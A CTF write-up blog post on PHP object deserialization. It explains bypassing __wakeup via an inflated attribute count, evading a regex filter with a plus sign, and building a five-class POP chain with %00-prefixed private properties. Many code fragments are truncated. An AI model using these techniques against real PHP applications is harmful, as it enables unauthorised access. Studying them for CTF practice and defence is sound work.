One day, weekly CTF several deserialization exercises

Posted by radar on Sun, 02 Jan 2022 08:51:57 +0100

Just talk but not practice the fake style. Use the CTF topic as an after-school exercise to test whether we master it. This is the first two of the four deserialized questions of weekly CTF one day (exhausted, rest and do the latter two)


It's no exaggeration to say that I did it for a long time. It's a common question type, but because there is only a little foundation in front, it's really a little hard to do it, but I can learn a lot

This is a User class that defines three magic methods. In our last article, we introduced when to call them respectively. The wakeup function will be called when deserializing and reconstructing the object, and destruct will be called at the end

class User{
    function __construct($name,$pass){
        $this->name = $name;
        $this->pass = $pass;
    function __wakeup(){
        if($this->name!='admin' or $this->pass!=mt_rand()){
            $this->name = 'guest';
            $this->isAdmin = false;
    function __destruct(){
        echo 'Hello'.$this->name;
        if(isset($this->isAdmin) and $this->isAdmin===true){

isAdmin, name and pass are dynamic attributes assigned through $this. The value we deserialize can be passed through the attribute name: attribute value

function filter($str){
    if (preg_match('/o:\d+/i',$str))
        die('Not allow');
    return $str;

    $user = new User('guest','guest');
    echo unserialize(filter($_GET['pop']));

The first function is regular matching filtering. As long as the number after o: is filtered, this is the fixed format of deserializing string

The last one is to receive pop parameters in GET mode. If you don't create an object, you will automatically call the construct function with the name of guest! If the parameter exists, the result of code execution will be output. Filter first and then deserialize the execution code. The idea is as follows

structure pop Parameter: serialized string(Deserialization calls wakeup and destruct)
Bypass filter function
wakeup judge name If not equal to admin perhaps pass If it is not equal to the value of a random integer, it will name and isadmin assignment
destruct Output string, judge if isAdmin Exists and the value is true´╝îJust show flag

If the wakeup function is executed, isAdmin will be re assigned to false and the flag will be. Therefore, it is necessary to bypass and not execute wakeup. The new knowledge point here is that when the number of attributes is greater than the real number of attributes, it will not be executed (PHP5 < 5.6.25, php7 < 7.0.10)

payload is as follows


We passed two parameters: name=admin, isAdmin=true, and the number of attributes is 4. Bypass wakeup. isAdmin assigns a value of true here and creates a new object. After serializing the value of true, we get b:1. Students should not try to assign a value of string true, and finally bypass the filtering through the plus sign


Adding a plus sign can deserialize normally without affecting the value (all bypasses are based on statements and can be parsed normally). I don't know why it is a plus sign

url encoding (in fact, only the plus sign needs to be encoded, because the browser will automatically encode the url in advance to prevent the plus sign from being resolved into a space)



For the same pop parameter, there are 5 class classes and no filter function (I cried early. This problem took me several days. Why is it a primary problem

Doing and Watching: php object oriented

Check the flag related code and find that it is necessary to call all the magic functions in the five classes


Two questions, one is when these functions are called, and the other is the writing method of multiple class calls

Simply write a class, including these magic functions. The first two will not be mentioned

__get            //Called when the member variable of a class is obtained

Through the pop parameter passing test, the called user will output the prompt of being called, and call the attribute arg1 of object a

@$pop = $_GET['pop'];
    $a = new C5;
//  private $arg1; The beginning defines two properties of the class
//  protected $arg2;

__set            //Called when a member variable of a class is set
$a = new C5;

(Note: These are screenshots of the output results in the browser)

__invoke         //It is said (I didn't test) that php needs to be greater than 5.3 0
$a = new C5;

__call           //Call when an object is not accessible or does not exist in the object.
$a = new C5;
$a->a();//First: there is no a method

protected function a(){}
$a->a();//The second method: method a does not allow access to protected and private

__isset          //Called when isset() or empty() is called on an inaccessible property
$a = new C5;
//private $arg1;
//protected $arg2;

__unset          //Called when the unset() function is called on an inaccessible property of a class outside the object__ Unset magic function, all types of attributes can be passed__ Unset delete
$a = new C5;

__toString       //Called when the object is used as a character, not just echo output
$a = new C5;
echo $a;

These methods are generally used to put data into classes for operation

Looking back at the code, let's analyze it one by one

@$pop = $_GET['pop'];

The only input point is pop. If it exists, it will be deserialized. Here, the deserialization function will call__ The wakeup method is called the last. destruct method

Class C1 (reduced)

class C1{
    private $arg1;
    private $arg2;
    function __wakeup(){
            die('arg1 can not empty'.'<br>');
    function __destruct(){

Both $arg1 and $arg2 are private variables and cannot be called by assignment outside the class

The arrow in php is the operator that calls the properties and methods of the class. I don't know what this $this - > arg1 - > arg2 means. I began to think it was a special calling method

In fact, the solution is to define $this - > arg1 as an instantiated object of another class, and then call the arg2 attribute of this class to construct a call chain

Instantiating class B in class A cannot directly assign values to attributes in the class. It needs to be in the function of the class and need parentheses

class A{
    function __construct(){
        $arg = new B();
class B{
    function hello(){
        echo 'success';
$a = new A;

Wake up, go ahead and check the order (this is just an idea, which is different from the actual code)

C1-wakeup //Empty access private variable arg2 call isset empty ($this - > arg1 - > arg2)
$c1->arg1=$C4;   //Because it exists in C4, it is arg2 accessing C4
C4-isset   $this->$name 
// call_user_fun() takes the first argument as a function call
$c4->name  // If it is an object, call C3 invoke. If it is not an accessible function, call C3 call
//Because $name does not call the operation of the function of class c (- > arrow), it should be invoke
$c4->name=$c3;//Set to class c3
invoke--$this->arg1->arg2//Get the private variable and call C2 get
C2-get  echo $this->$name;//(explained later here)
//The only echo in the full text, toString, didn't run
C5-toString  unset($this->arg2->arg1)
//It's simple, C4 unset
C4-unset   $this->$name->fun($this->arg2)
//The remaining C3 call
$c4->name=$c3;//Is parameter arg2 required
C3-call    $this->arg1->arg2=$name
//Call C2 set for assignment of inaccessible attribute
$c3->arg1=$c2;//Do you need $name?
C2-set       //That's it. You don't need it to call destruct
C1-destruct //Highlight flag after judging all calls

Define the variables used in the process. Start from C1 and serialize the C1 object

As mentioned earlier, it is not possible to set private attributes outside the class. If it is changed to public, its serialized length is different, so it should be set directly in the class, and% 00 should be added before and after the serialized private variable's class name, so that the result of deserialization can assign a value to the private attribute

There is a $this - > $name in C4 isset, which means that if you assign $name to character a, you will get the value of $a

class Test{
public $name = "abc";
public $abc = "test";

public function Test(){
	$name1 = "name";
	echo $this->name; // Output abc
	echo $this->$name1; // Output abc, because the value of $name1 is name, which is equivalent to replacing it with echo $this - > name;
	$name2 = $this->$name1; //The value of $name2 is abc
	echo $this->$name2; //Output test, the same as above, equivalent to echo $this - > ABC;

At this point, the basic confusion has been solved and we can start to construct serialized data

(the wrong copy of the invoke Code led me to study it for one day and found that I couldn't construct it. I hope you don't make such a mistake.)

class C1{
    private $arg1;
    function __construct(){
        $this->arg1=new C4();//structure
            echo '<br>no<br>';
class C2{
    private $arg2;
    function __get($name){
        $this->arg2=new C5();
        echo $this->$name;
        return $this->$name;
    function __set($name,$value){
        echo 'set';
class C3{
    private $arg1;
    function __invoke(){
        $this->arg1=new C2();
        return $this->arg1->arg2;
    function __call($name,$arguments){
        $this->arg1=new C2();
class C4{
    private $arg1;
    private $arg2;
    function __isset($name){
        //The string arg2 is passed in
        $this->arg2= new C3();
    function __unset($name){
        $this->arg1=new C3();
class C5{
    private $arg2;
    function __toString(){
        $this->arg2=new C4();
        return 'noting';

$a = new C1;

Add% 00 to the private variable class name, and the final payload is as follows


You can see that all 9 functions are called (error reporting does not affect)

Ah ah!!!! Roar! Who can understand?

I reflected on why it took so long here. Looking back, I found that there were no difficulties, but I was not familiar with the use of php classes and some usages of serialization. For example, I would never think of adding% 00 without searching. I didn't know the special writing of calling other classes in the class There is no reference answer, you can only check a little, and most of the time you don't know where there is a problem, and there's nowhere to start

Topics: CTF